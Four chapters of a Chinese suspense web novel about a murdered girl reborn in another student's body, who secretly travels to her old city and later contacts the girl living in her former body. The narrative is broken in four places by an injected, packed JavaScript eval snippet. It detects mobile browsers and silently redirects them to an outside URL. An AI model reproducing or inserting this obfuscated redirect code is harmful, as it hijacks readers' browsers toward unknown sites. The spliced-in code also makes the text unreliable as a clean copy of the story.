《不是花[悬疑]》 1. 火车 “今日快讯：C省至A省的高速铁路已于今日正式开通运营。高铁开通后，C省卫城市与A省闵湖市之间的通行时间由原来的24小时缩短至最快11小时。该条线路全长2331公里，连通了我国南北向距离最远的两个省份……” 客厅里电视仍开着，闻夏吃饭的动作一顿，微微偏过头。身侧的许文忽然“啪”地一声放下筷子，将她的注意力又拉回餐桌上。 “姜尧，你什么意思？” 姜尧艰难咽下嘴里的饭，“我能有什么意思……和你说了，这临时也找不到别的人换班，我都已经答应老陈了，他人都不在卫城了……” 他难得说这样长的一句话，许文心里的火气却蹭蹭直冒，“就你会在外头当好人？谁有事儿都找你换，你有事儿就一个个都跟死了一样？” “前些日子过年，大家都看着你时间来安排，年年这样，那也都算了。现在我妈病了，你还在这上班上班……你怎么不跟车站过日子去？” “我当初怎么就看上你了呢！如果能回到过去，我肯定看都不会再看你一眼……” 姜尧一言不发地听妻子数落着自己。 这还是闻夏来到这里之后第一次见他们闹这样大的矛盾，但她也插不上嘴，只能沉默旁观。 没有人回嘴的架似乎吵得也很无力，看着仿佛双双没长嘴的丈夫和女儿，许文深深呼出一口气，“……你爱上班就去上吧，我明天一早回清原。” 她拿起筷子继续吃饭，姜尧却早已没了胃口，起身到客厅，拿起遥控器将那念叨个没完的新闻主播换掉。 饭菜都有些凉了，闻夏飞快地将剩下的小半碗饭送进肚子里，回了房间。 她之前去火车站问过，到闵湖最便宜的硬座票要250元，来回500元，还不确定当天是不是能回来，保险起见，算上一天的吃和住，她需要至少700元。 她上学期攒了一些，加上过年拿到的压岁钱，已经足够了。 姜父明天原本是晚班，又帮人顶了个白班，那他明早出门后，至少有24小时不会回家，即便回到家，大约也是倒头就睡。姜母回老家探病，应该至少也会在那边小住几天。 正巧高铁开通了，如果列车时间合适，她是有可能在不被发现的情况下往返一趟闵湖的。 钱刚攒够，没想到机会便来得这么快。 姜母是老师，寒假几乎天天都在家，她马上也要开学了，明天的这个机会千载难逢，闻夏莫名有些紧张。 …… “滴滴，滴滴——” 闻夏抬手按掉闹钟，七点四十。 姜父上班时间早，并不是问题，但姜母…… 原主的外婆病了，她或许是该跟着姜母一起去看望的。 闻夏坐在床上正出着神，房门突然被打开。许文见她已经醒了，也有些惊讶，但她显然心情不佳，眼角眉梢都往下垂着，“我要回清原了，你……就不跟着去了吧，也帮不上什么忙，去了尽添乱。” 闻夏准备好的借口都没用上，愣愣点头应下。 许文正要关门，又想起什么，转过头来接着嘱咐：“你爸不在家，家里没吃的了就去外头买，别傻乎乎地饿着自己。” 闻夏继续点头。 房门合上，闻夏便飞速起床换衣服。每天第一趟开往闵湖的火车是9点半，也不知道高铁开通后会不会有调整，但早点去总是没错的。 闻夏注意着家里大门的声音，确认许文已经离开，又从衣柜里翻出一件不常穿的羽绒服、围巾和帽子。 准备好一切，赶到火车站时，已经八点四十。 卫城是C省的省会城市，火车站修得很是气派。来往的旅客提着大包小包的行李，在寒风中都将自己捂得严严实实，闻夏这身打扮倒也不显眼。 今年过年晚，许是赶上了春运的尾巴，加上临近开学，五个售票窗口都排着队，闻夏时不时扫一眼时间，耐心等待着。 “下一位——” 闻夏上前，售票员头也没抬，问道：“去哪？” “一张到闵湖的票，硬座。” 闵湖？这天南地北的，售票员微微直起身子，打量着这个明显没成年的女孩，“小姑娘，闵湖可远着呢，你一个人？” 闻夏咬着唇，左右瞧了瞧，上前一步小声道：“我……我爸对我不好，找了个后妈还总是欺负我……我妈寄了钱给我，让我去找她。” 一双圆眼无辜又可怜的模样，叫售票员看了都心疼。看起来也不是不懂事乱跑的孩子，售票员垂眼，在电脑上操作几下，“九点十八的高铁和九点半的火车，你要坐哪一趟？” “高铁。” “硬座500元。” 闻夏一愣，她没想到高铁虽然快了，但价格竟然也翻了一倍。她的钱没那么多，可是如果坐火车的话，光是来回耗在路上的时间就要两天。 她握紧了手，“还是火车吧。” 顾不上想回来之后的事了，至少现在走的时候不会有人拦她，先去了再说。 …… 火车缓缓向前移动，车站站台逐渐消失在视野中，闻夏这才松了口气。 她抬手摩挲着右侧的后脑，时间果真是良药，她现在几乎都要忘记当时有多痛了。 姜晓霜的身体自然没有受过那样的伤，闻夏放下手，从背包中取出一个本子。 现在坐了火车，这一趟的时间又和昨晚预想的不一样了，她得重新盘算一遍。 24小时的距离，她明早能到闵湖，就算下午离开，也要后天下午才能回到卫城。 这是不可能不被发现的了，姜家父母肯定会着急。而未成年人失踪，警察应该也会很快查清她的去向。 只希望他们能晚一些发现，不要在半路就将她截住。 她一定要回去，看看究竟这个世界的闻夏是否存在。 * 坐了整整一天一夜的硬座，闻夏腰酸背痛地下了火车，刚出了站，便直奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536678|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 售票厅，确认了下午3点20有回去的车，又匆忙赶上了就要开走的公交车。 闻夏喘着气，在一排站点中找到了熟悉的名字，找了个空位坐下。 窗外熟悉又陌生的街景恍若隔世，让她一时有些恍惚。她前世来到闵湖火车站的次数其实屈指可数，面前的这一切与她的记忆中的不太一样，似乎也不奇怪。 下了公交车，离她住了十八年的那栋楼越来越近，闻夏的心也跳得越来越快。 “咚咚、咚咚——” 闻夏敲响了门，里面却久久无人回应，闻夏又敲了一次，抬手看了眼表，快要11点。 闻尧不在家她不奇怪，但高一这年的寒假，她应该没去什么别的地方。 可毕竟过去了几年，她无法清楚回忆起自己某一日具体做了什么。闻夏垂眸思索片刻，也许是去了姑姑家？ 她转身下楼，走到楼梯口，正巧遇见了住在她家对门的张婆婆。 张婆婆提着个塑料袋，刚买了东西回来，瞧见眼生的小姑娘，只是多看了一眼，也没太在意，却没想对方忽地叫住了她。 “婆婆，我是闻夏的同学，刚才敲门，她好像不在家，您知道她去哪了吗？” 闻夏本没抱希望，但没想到张婆婆还真知道，她惊讶地看了眼这一口北方口音的同学，“小夏的同学啊，你来得不巧，她今早被救护车拉走了，她爸也成天不在家，还不知道是怎么回事哦……” “救护车？”闻夏一愣，又问，“去了哪家医院？” 张婆婆摇头，“这我就不知道了，只是来接人的时候楼下闹哄哄的，我出来就看到人被抬上车走了。” “谢谢您，我先走了。” 闻夏三两步跳下楼梯，奔向离家最近的一家医院。 一进急诊，闻夏左右打量着，找到了导诊台的护士，“请问你们这儿今天有个16岁的女生被救护车送来吗？叫闻夏。” 两个护士对视一眼，摇头道：“今天没有救护车送来的病人。” 闻夏道谢，正想离开，又回过身问：“请问一般救护车会送到哪家医院？” “这不一定的，要看病人情况，你这样找应该是找不到的……”年长些的护士回答道，见闻夏气喘吁吁，又安慰了两句，“你是家属吗？医院应该会联系你的，不用这么着急。” “我不是家属。”闻夏有些失望，但也没多说，转身离开。 “哎，小妹妹！”护士叫住闻夏，“我们医院比较小，救护车送得不多，你可以去看看市二医和光明医院。” “好，谢谢。” 闻夏出了医院，饿了许久又跑了这一段路，胃已经开始反抗她的忽视，用轻微的疼痛提醒她吃饭。 她昨天只带了些面包饼干上车，下车之后也没吃早餐，这会儿确实有些饿了，只好先在医院附近吃了碗面。 市二医和光明医院都不近，眼看时间也不多了，她还要留出去火车站的时间，便打车去了市二医。 2. 开学 站在市二医门口，闻夏一时有些没了法子。 她抬手看了看表，她这跑来跑去的，已经两点了，也不知道从这里到火车站要多久，她只好先放弃了这漫无目的的寻人。 虽然没见到人，但这一趟闵湖也不算白跑。 她初高中的这几年可从没进过医院，这样看来，和姜晓霜交换身体的可能性很大。 但“闻夏”进医院的这个时机却不得不让她多想，难道是因为她来了闵湖，影响到了这个世界的自己？ 闻夏思考间，又一次抵达了闵湖火车站。 再次坐上火车，听着若隐若现的铁轨声，两天没能好好休息的闻夏终于还是靠着椅背沉沉入睡。 …… 手里震动中的手机坠落在地，误触了接通键。 “喂……” “怎么不说话？” “是还在生我的气吗？” “对不起，今天是我太冲动了，我不该提分手的。” “……夏夏？” 闻夏倒在地上，听着手机里传出的声音，脑后疼痛欲裂。她没有力气动作，只睁大了眼睛虚无地望着刚刚锁上的玻璃门，里面隐隐约约映出旁边站着的人。 以及他的脸。 倒影里的人蹲下，捡起了她的手机，然后…… …… “小姑娘，小姑娘！” 身体似乎被人推攘着，闻夏从睡梦中醒来，身侧的人见她睁眼，这才道：“快别睡了，警察找你呢。” 车厢里的灯光昏暗，警察两个字让闻夏一下清醒过来，看向站在过道边穿着制服的乘警。 “小姑娘，你是叫闻夏么？” 闻夏点头，看来是姜家人报警了。 “你家里人很担心你，你出来，先跟我走。” 坐在外面的两人起身给她让了路，闻夏背上包，乖乖跟上。 乘警带她到餐车找了个位置坐下，“你就坐这吧，到时候会有工作人员陪你一起下车，你别乱跑，有什么事就找车上的乘务人员。” 许是知道她买的就是回家的票，乘警也没太担心她会中途跑路，叮嘱完她，又去和售卖餐食的乘务员说了两句，乘务员看向她这边，然后点了点头。 大概是因为餐车这里会一直有乘务员在，让人盯着她吧。不仅如此，接下来每到一站，便会有乘警来瞧瞧她还在不在。 她当然不会半路下车逃跑，闻夏没太在意时不时落到自己身上的目光。这会儿是凌晨，但已经睡过一觉，她没了睡意，扭头看着窗外，外头漆黑一片，只能看见些模糊的黑影闪过。 好似刚才的那个梦。 其实也不完全是梦，那是她死前最后的景象。 不知为何，她突然想到前两天姜家父母吵架时，姜母说的那句话—— “如果能回到过去，我肯定看都不会再看你一眼。” 就像姜母所说的那样，现在她真的回到了过去，明知大一那年的暑假“闻夏”会死，难道还要重新走一遍一样的路吗？如果放任姜晓霜在她的身体里走上另一条路，这个世界的闻夏是不是就不会死了？ 可是如果，她的身体里，不是姜晓霜呢？万一重生是给她一次自救的机会，她却没能抓住，这个世界的闻夏又按照上辈子的轨迹，考上了榆城大学，这一次死，会不会就是真的死了？ 闻夏脑子里一团乱麻。 * 卫城。 姜家夫妻俩深夜才从家附近的派出所出来，尽管警察告诉他们孩子已经买票回来，乘警也在车上找着人了，但距离火车到站还有十多个小时，没亲眼见到人，他们怎么也安不下心来。 正如闻夏预料的那样，她走的那天没有人在家，并没有人发现她已经走了。而姜尧上完夜班回家，没看见人，也只当她是出门玩儿去了。 直到晚上九点多还没瞧见人，姜尧才打电话给了许文，问她是不是带女儿一起去清原了，许文否认，两人这才一惊，连忙联系和她熟悉的同学家长，但得到的答案都是没有和他们家孩子在一块儿。 姜尧立马便去报了警，警察一开始怀疑是拐卖，结果询问一番下来，火车站的售票员竟对她有印象，还记得她的名字和买票时说的话。 许文也吓得立马从清原赶回来，这会儿人都还恍惚着，捂着跳个不停的心口，想起售票员说的那番话，什么后妈欺负她，要去找亲妈，很是后悔道：“都怪我，怎么没把她一起带去清原……不对，就不该和你吵架的，肯定是那天晚上吓着孩子了……” 她说着说着又哭了起来，“她哪里去过什么闵湖，怎么会莫名其妙自己跑到这么远的地方去……” 姜尧也担心，但还是拍着妻子的背安慰，“好了，警察都找着人了，我们先回家，明天去车站接孩子。晓霜懂事的，应该不会再乱跑了，等她回来，我们好好和她说。” “不，不行，不能吓着她……” “好好好，明天再说，我们先回去，睡一觉，人就回来了。” 许文这才点头，跟着他往家走，“你说得对，睡一觉，她就回来了。” 第二天下午，夫妻俩早早就等在出站口外，一眼就看见了跟在乘警身侧捂得严严实实的女儿。 二人赶忙上前，许文下意识便想要开口责备，但想到什么，又咽了回去，只抓着人上下打量一番，关心道：“晓霜，没事吧？” 闻夏摇头：“我没事。” “没事就好，没事就好。”夫妻俩皆是狠狠松了口气，姜尧谢过乘警，一家三口便往家去。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536679|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上路过菜市场，又买了不少菜，许文眼眶红红，却仍笑着道：“今晚做些你喜欢吃的菜，吃大餐。” 闻夏也朝她笑笑。 这晚，姜家似乎前所未有的氛围融洽，姜尧和许文待她都小心翼翼，却也没问她为什么跑到闵湖去。 闻夏自然也不会主动提起，这一天结束，她这一趟仿佛出逃般的旅程，似乎也被遗忘在了脑后。 不过姜家父母倒是突然给她买了手机，办了手机卡。 新手机到手，闻夏便将闻尧和自己前世的手机号存了进去，再次尝试拨通。三天两头躲债的闻尧仍旧是预料之中的关机，而“闻夏”这时候应该还没有手机，打了也没用。 至于她用姜晓霜的企鹅添加了她自己的企鹅号，半年多过去，对方仍旧毫无动静。 想要在姜家父母眼皮子底下出逃第二次可以说是难如登天，而且还得重新攒钱。 2月底，在闻夏难得有些挫败的苦恼中，卫城二中开学了。 新学期的第一天，闻夏醒来按掉闹钟，坐在床上仍是不由叹起了气。就算她本身成绩不错，也不会有人想要过两遍高中这样的艰苦日子吧。 而且她已经上了一年大学了，高中的知识不知忘了多少。 她的愁绪也不过短短一分钟，许文便来敲了她的门，“晓霜，起了没？” “起了。” 门外的女人走远，闻夏起床换上校服，去卫生间洗漱。 吃完早餐出门，陈佳已经在楼下等她，闻夏朝她笑笑，二人一块儿坐公交车去学校。 陈佳是姜晓霜初中时的好友，高中虽然没能在一个班，但能够同校，陈佳看起来也十分知足。 闻夏和她接触也已经有一个多学期，陈佳这人是个话痨，原主姜晓霜似乎也不是个话多的，闻夏不用费心伪装，只需要偶尔应和几句便好，也不会暴露其实已经换了个人，还能从陈佳那得到不少信息。 过了一个月平和的学校生活，数学老师忽地提起一个数学竞赛的报名，让感兴趣的同学下课后去找她。 闻夏觉得那竞赛的名字有些耳熟，课后便去了老师办公室。 数学老师兼班主任的吴老师看见她来，便笑了，递给她一张宣传单，“对竞赛有兴趣？我们班最有希望的也就是你了，好好准备，有问题随时来问我。” 这个姜晓霜，看中考成绩不算很好，没想到进了高中成绩一直不错，也许是中考没考好吧，她倒是很看好这个学生将来高考的成绩。 闻夏谢过老师，垂眼看着宣传单上的日程，一个月后举行的是各省的联赛，再过一个月，会在榆城举行最后的决赛。 和她记忆里的一样。 如果这个世界的闻夏也参加，那她们或许就能在决赛时见面了。 3. 写信 不管那个“闻夏”是谁，如果她不插手，没有办法保证对方最终不走向死亡结局。 如果“闻夏”的身体里是姜晓霜，那她总有一天也会找来卫城的。 闻夏占了姜晓霜的身体，获得了第二次机会，她并不忍心看着自己再死一次。再加上她的家庭条件……姜晓霜这个乖乖女，能在她的身体里撑到高中毕业吗？ 可是，她应该去寻找凶手吗？还是只需要让这个世界的闻夏逃离那个注定会丧命的未来就好？ 她还能回到自己的身体里吗？ 这现在已经不是她一个人的事了，她觉得还是需要和“闻夏”商量一下。 毕竟未来会死的是“闻夏”，如果她不愿意承担这个风险，或许远远避开榆城才是最好的选择。 虽然前世顺利参加了决赛，但重来一次闻夏仍然不敢掉以轻心，报名后找了不少资料，每天都扑在学习上，瞧得姜家父母直觉得女儿像换了个人。 学习认真自然是好事，尤其是女儿自从上了高中，就像开了窍一样，成绩突飞猛进，都能考班级第一、年级前十了，现在居然还打算去参加数学竞赛，许文都不敢相信。 在闻夏的努力下，省级联赛正常发挥，晋级到了决赛。 卫城二中能进数学竞赛决赛的就两个学生，除了闻夏，还有一个高二的。闻夏的主要目标就是进决赛见“闻夏”，但也许是没想到今年真有人能进决赛，学校突然重视起来，将两人都塞给了吴老师指导。 两人每天放了学，还要跟着吴老师开小灶。因为时间紧张，吴老师连周末也没放过他们。 为了鼓励他们为校争光，学校包了他们去榆城的路费，因为距离有些远，即便是高铁也要坐很久，学校大方地给他们买了两张机票。 闻夏第一次坐飞机，觉得这个可比竞赛时让她紧张多了，缓过起飞那片刻的冲击，飞机逐渐平稳，她才呼出口气，松开紧握的双手。 卫城是个阴天，但飞出去没多久，穿越了云层，便有灿烂的阳光透过窗户洒进来。 原来万米之上的云层是这个样子的。 还好没有晕机。 酒店是主办方安排的，她前世也是住的这里。C省的学生抵达时，大堂里还正有另外一队的学生在办理入住。 闻夏往扎堆聊天的学生中扫视一圈便收回了目光。 另一个进了决赛的高二学生是个男生，闻夏便被分去和卫城一中的一个女同学住一间。两人拿到房卡，简单打了个招呼就一起往房间去。 对方似乎没有和她说太多话的意思，一到房间便拿出书和本子写起题来，闻夏也乐得轻松，两人互不打扰地安静度过一晚。 第二天便是决赛，进了赛场，闻夏打起精神，在A省的队伍里寻觅起来。 她应该对自己的容貌是非常熟悉的，但看了几遍，发现里面的确没有“闻夏”，她微微有些失望。 其实她也有预料，毕竟如果她的身体里是姜晓霜，那看姜晓霜以往的成绩便能明白，与竞赛大概是无缘的。 不过她看见了个熟人。 现在是等待参赛人员集合的时间，还有几个省的队伍没到，倒也没有什么重要的事，闻夏和带队老师说了一声，便走向A省的队伍。 夏晨正和同学说话，感觉肩膀被人轻拍一下，他侧过身，见是个不认识的女生，面上有些疑惑，“……请问有什么事？” “你好，请问你是闵湖三中的学生吗？” “我是。” “我有个朋友在闵湖三中，但我弄丢了她的联系方式，她叫闻夏，应该是在……高一5班，你可以帮我给她递个信吗？” “可以……”夏晨觉得有些奇怪，但还是答应了，“你想和她说什么？” 被问到这个，闻夏这才反应过来，想了想，又道：“今天比赛结束应该就没什么事了……晚上八点，你能在酒店大堂等我一下吗？我写好之后再给你。” 夏晨没想到她说的“递信”是真的有信要交给闻夏，点头应下。闻夏道了谢，回到C省的队伍里。 总算能有机会联系上“闻夏”，这趟没有白来，闻夏稍稍安心。 夏晨是她的初中同桌，算得上和她相熟。高中二人也是同校，不过夏晨是隔壁班的，但她没想起来竞赛他也在。 竞赛只用了一个早上，闻夏尽力答了题，前世她没能拿到很好的名次，这次倒是感觉不错，不管最后成绩如何，也算是圆了她当初想着如果能再来一次，她一定能答得更好的遗憾。 下午是自由活动时间，有些省的队伍当天便回去了，但C省的行程是定了明天再回的，A省她记得也是一样，这才和夏晨约在晚上见。 带队老师叮嘱了学生们别落单也别乱跑，早点回酒店，便放大家各自去玩儿了。 榆城是南方的大城市，热闹繁华程度不是卫城能比的，刚结束竞赛的摧残，又难得有这样没有长辈管着，可以去陌生的城市肆意撒欢的时候，大家都很兴奋。 住一块儿的女生也和同学约了出去，闻夏留在房间里，琢磨着怎么写这封给“闻夏”的信，却半天也没落下一个字。 虽说她觉得自己的身体里很大可能是姜晓霜，但想起上次去闵湖，对方却突然住了院，她又有些迟疑。 如果“闻夏”仍是闻夏，只是被她重生的某种蝴蝶效应影响了，没能来参加竞赛呢？ 这封信，她该对谁写？ 沉思许久，闻夏提起笔，一笔一划写下—— “闻夏你好，我是姜晓霜，你也许对我的名字没有印象，但我有很重要的事要告诉你……” * 晚上8点，酒店大堂。 夏晨刚和同学从外面吃了晚饭回来，经过前台，拐了个弯便看见站在休息区的女学生，她正盯着墙上的一副装饰油画看得出神。 “你们先上楼吧。” 无视了男同学一边走一边朝他挤眉弄眼打趣的眼神，夏晨走上前，唤道：“同学？” 闻夏转过身，朝他笑笑，“你来了。” 她递出手里折成小小信封的纸，郑重道：“这封信很重要，请你一定要交给闻夏。” “我会的。”夏晨接过，忍不住还是问道，“你……怎么认识的闻夏？” 他观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536680|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察过了，她是在C省的队伍里，说话也是浓浓的北方口音。而闻夏……初中和她同桌三年，他也许能算是班上最熟悉她的人了，她和班上其他的同学说话更少。 面前的这个女生，感觉是和闻夏永远也不会有交集的人。 “我们……”闻夏想了想，答道，“可以算是笔友吧。” 既然提起了“闻夏”，闻夏也顺势问起了她的近况，“她上高中之后还好吗？” 夏晨回忆起在学校偶尔看见她的时候，她比起从前似乎变了许多，“我和她不在一个班，具体也不清楚，她可能是发生了什么事吧，成绩好像也没有以前好了。” 他再也没在排名上看见过闻夏的名字。 他们能一直做同桌，就是因为初中的班主任按考试成绩排座位，而他们的成绩总是不相上下，但其实闻夏的成绩比他更稳定些。 闻夏闻言微微点头，没再多问，正打算离开，她忽地顿住脚步，再次看向夏晨，“可以给我一个你的联系方式吗？企鹅或者手机号都可以。” 话刚出口，看见夏晨脸上微妙的神色变化，闻夏很快反应过来这话容易让人误会，又解释道：“我怕万一有什么事联系不上闻夏，也许还要再请你帮忙，如果你介意的话就算了。” 虽然她自认为和夏晨还算熟悉，但现在毕竟是以一个陌生人的身份拜托他帮忙，闻夏也说不好他会怎么想。 但夏晨似乎是个热心的人，也没多想便留下了自己的企鹅号，闻夏掏出手机，当场添加了他的好友。 他不属于姜晓霜好友列表里的任何一个分类，闻夏新添加了一个分组，犹豫一下，将分组名留了空白。 这样应该就万无一失了。 “谢谢你，夏晨。”闻夏放松了些，真诚地向这个乐于助人的老同学道了谢。 夏晨正低头在手机上操作着，闻言手上动作停下，抬头看向她，“不用谢。” * 第二天回到卫城，闻夏便仿佛有了幻听一般，时不时掏出手机查看，企鹅与短信却都空空如也。 尽管知道今天是周日，夏晨大概要到周一才会去学校见到“闻夏”，但她还是有些莫名的忐忑。 她在信里留下了手机号和企鹅账号，也想着“闻夏”这会儿应该还没有手机，提醒她可以去姑姑家借电脑使用企鹅。 虽然相信夏晨的人品，但为了预防那封信被别人看见，她都说得比较委婉，但不管对方是姜晓霜还是她自己，应该都能看懂她的意思。 现在已经五月，距离前世她得到手机的时间也没多久了。 能得到手机，其实也是她意料之外。当时是因为某天突然下大雨，而她碰巧没带家里钥匙，见天色越来越暗，她不知道这雨要下多久，只好淋着雨走到姑姑家想要拿备用钥匙。 也许是那天看起来真的太惨，姑姑留她在家住了一晚，第二天还给了她一个手机，说是以前用的旧手机，然后带她去办了手机卡，让她以后有什么事就找姑姑。她虽然应下，但一次也没打过姑姑的电话。 如果姜晓霜没有经历这一遭，姑姑的那个旧手机还会到她手里吗？ 4. 交换 周一，闻夏心不在焉地上了一天的课，放学回到家，刚在书桌前坐下，书包里的手机忽然震动了一声。 【你是闻夏吗？】 是一条来自陌生号码的短信，但她立马便猜到对方是谁，有些紧张地拨通了这个号码。 对面很快接起，但两人一时都沉默着，片刻后，对面先出了声，又问出了短信里的问题：“你是……闻夏吗？” 原来自己的声音在电话另一头听起来是这样的。 “我是闻夏。你是姜晓霜吗？” “对，我是姜晓霜。”确认了不存在第二个自己，姜晓霜似是松了口气，好似身体交换就更好一样。 开了话头，接下来的话便也都不难开口了，顶着闻夏的身份生活了这么久，姜晓霜攒了一肚子的疑问，终于有机会问出来：“我们这是交换了身体吗？你知道是怎么回事吗？” “我也不确定……”闻夏抬眼望着窗外的落日西斜，“交换身体前，你有发生什么事情吗？” 姜晓霜显然早就思考过这个问题，回答得很快：“没有，我就是正常的待在家里，那天都没有出过门，等我第二天睡醒，就发现变成了你。” “那看来或许是因为我。”闻夏眼前又闪过那晚的画面，缓缓吐出口气，“我应该是死了，再醒来，就到了你的身上，而且还回到了四年前。” “你死了？！”姜晓霜一时不知重点在哪，“现在是四年前？？那我会不会也死了？你四年后认识我吗？” 闻夏倒没想到过这个，她回想了一下，“我不认识你，好像也没听到过关于你的事情。” “嗯……”姜晓霜有些苦恼，“那为什么会和我交换呢？” “我也一直没想明白。” 她们明明是两个世界的人，这样突如其来的意外，将无辜的姜晓霜牵扯进来，打乱了她原本平和的生活。闻夏的日子是变得好过了，或许她还能帮姜晓霜考上更好的大学，可这“更好”的日子，要姜晓霜自己过上了，才能算是被她帮到了。 万一她们永远都只能用对方的身份活下去呢？ 她忽地想起死后刚醒来的时候。柔软的被褥，明亮的窗，眼前的一切都十分陌生，却温馨。 可那个她熟悉的家呢？ 躲债躲到一个月也不露一次面的闻尧，连饭都要吃不上的精打细算。虽然学校有助学金，但姜晓霜如果拿不到学校提供的奖学金，她的日子只会比自己曾经的更难过。 闻夏抿了抿唇，“你……过得还好吗？” “嗯？我还好啦。刚开始不太好过，现在还好，你姑姑挺照顾我的。” 说起姑姑，闻夏好奇问道：“这个手机号是你的吗？你有手机了？” “对，我之前有一次住院了。”姜晓霜觉得有些尴尬，不想提起，但想到这个身体还是对方的，又觉得没什么可藏着掖着的，轻咳一声，继续道，“我……饿晕了，被送到医院，医院联系不上你爸，最后找来了你姑姑，后来她就突然给了我一个手机。” “……”原来她去闵湖的那次，正巧撞上的是这件事。 看来是因为有更惨的事情发生了，于是姑姑做出了类似的回应，反倒让姜晓霜提前拿到了手机。 这个原因太过令人意外，让闻夏一时有些不知道该怎么接话，毕竟真算起来，还是她的错。 她不由叹了口气，愧疚道：“抱歉，是我害你经历这些。” “你不用道歉，发生这样的事也不是你的错……你不是好好活到了四年后吗，那我一定也可以的。” 距离她们交换身体已经过去快一年了，实际只剩下三年两个月的时间。 闻夏心里一沉，她要怎么才能把姜晓霜的人生还给她？ “你……”闻夏心里琢磨着怎么开口，手机却又震动了一下，她看了一眼，是运营商发来的话费即将耗尽的提醒。 这样的长途电话消耗话费的速度的确很快，闻夏也没钱这样挥霍，便道：“我的话费要没了，我们短信或者企鹅聊吧。” “好，我在姑姑家楼下呢，一会儿我会借电脑用，我马上就加你的企鹅，不过可能不会经常看。”毕竟流量也是要花钱的。 “好，我等你。” 挂了电话，很快闻夏的企鹅便收到了好友申请。 这个账号看起来很新，闻夏想了想便明白过来，觉得自己之前的疏忽有些好笑。她向“闻夏”的企鹅申请了好友，却没想到姜晓霜不知道密码，根本登不上去。 她通过了申请，姜晓霜很快发来了第一条消息：要吃饭了，我晚点再和你说。 闻夏：好。 闻夏压下纷乱的思绪，从书包里拿出今天的作业，写了两个题，却又控制不住地想： 如果交换身体的起因是她的死，那找出杀死她的那个凶手，让这辈子的“闻夏”平安活着，是不是就是破局的唯一办法？ 等她写完了一科的作业，吃完饭后再拿起手机，发现十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536681|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟前姜晓霜便发来了消息。 闻夏进书房打开电脑，登录企鹅回复她：我也吃完饭了。 姜晓霜：嗯嗯。 姜晓霜：你成绩很好吧？我爸妈是不是很高兴？ 闻夏：还行。 闻夏：你没有联系过你爸妈吗？ 姜晓霜：联系过的。 姜晓霜：但是电话接通了，我又不知道该怎么说了，如果实话实说，感觉听起来就很不真实，他们应该也不会相信我吧。 闻夏不太会安慰人，手悬在键盘上迟迟没有动作。 姜晓霜：你别担心，我真的没事。我还要谢谢你帮我考好成绩，让我爸妈高兴呢。 闻夏沉默片刻，敲下一行字：我想过了，如果我们要换回身体，最有可能的办法，也许是找出杀了我的那个犯人，让“我”活下去。 闻夏：但是要这样做的话，我们需要重现我死前的所有人生轨迹，而且也有风险，如果我们失败，也许就是真的死了。 输入框里的光标闪烁，对面一直没有回复，似乎知道她的话未尽，正在等待她继续发送。 闻夏：如果你害怕，我们也可以避开这条路，你不去榆城，应该就不会遇上那个凶手。 可相对的，到了大一那年的暑假，前世的她死去的那一刻，她也无法预料到会发生什么。但她不想给姜晓霜压力，没将这话说出来。 屏幕画面静止了几分钟，对面才弹出了新消息。 姜晓霜：你是怎么死的？ 姜晓霜：知道犯人是谁吗？ 闻夏：夜班结束的时候，被人偷袭。 闻夏：不知道是谁，但我应该看见了他的脸，不是很清晰。 又等了两分钟，姜晓霜发来了疑似肯定的答复。 姜晓霜：我觉得我们还是很有机会的。 姜晓霜：其实我还挺爱看推理小说，身体交换这样的事也挺刺激的，对吧？ 姜晓霜：有种我们变成了小说主角的感觉。 房间书架上那一排排五颜六色的书籍忽地在闻夏脑海中有了痕迹，她好像明白姜晓霜是怎么和陈佳成为好朋友的了。她们都爱看小说。 在她分神的时候，聊天框又跳出一条新消息。 姜晓霜：那我接下来应该怎么做？ 闻夏对着这句话愣神许久，直到眼睛都被电脑屏幕的亮光晃得有些酸涩，才缓缓打出几个字，按下了发送键。 闻夏：考上榆城大学。 5. 高考 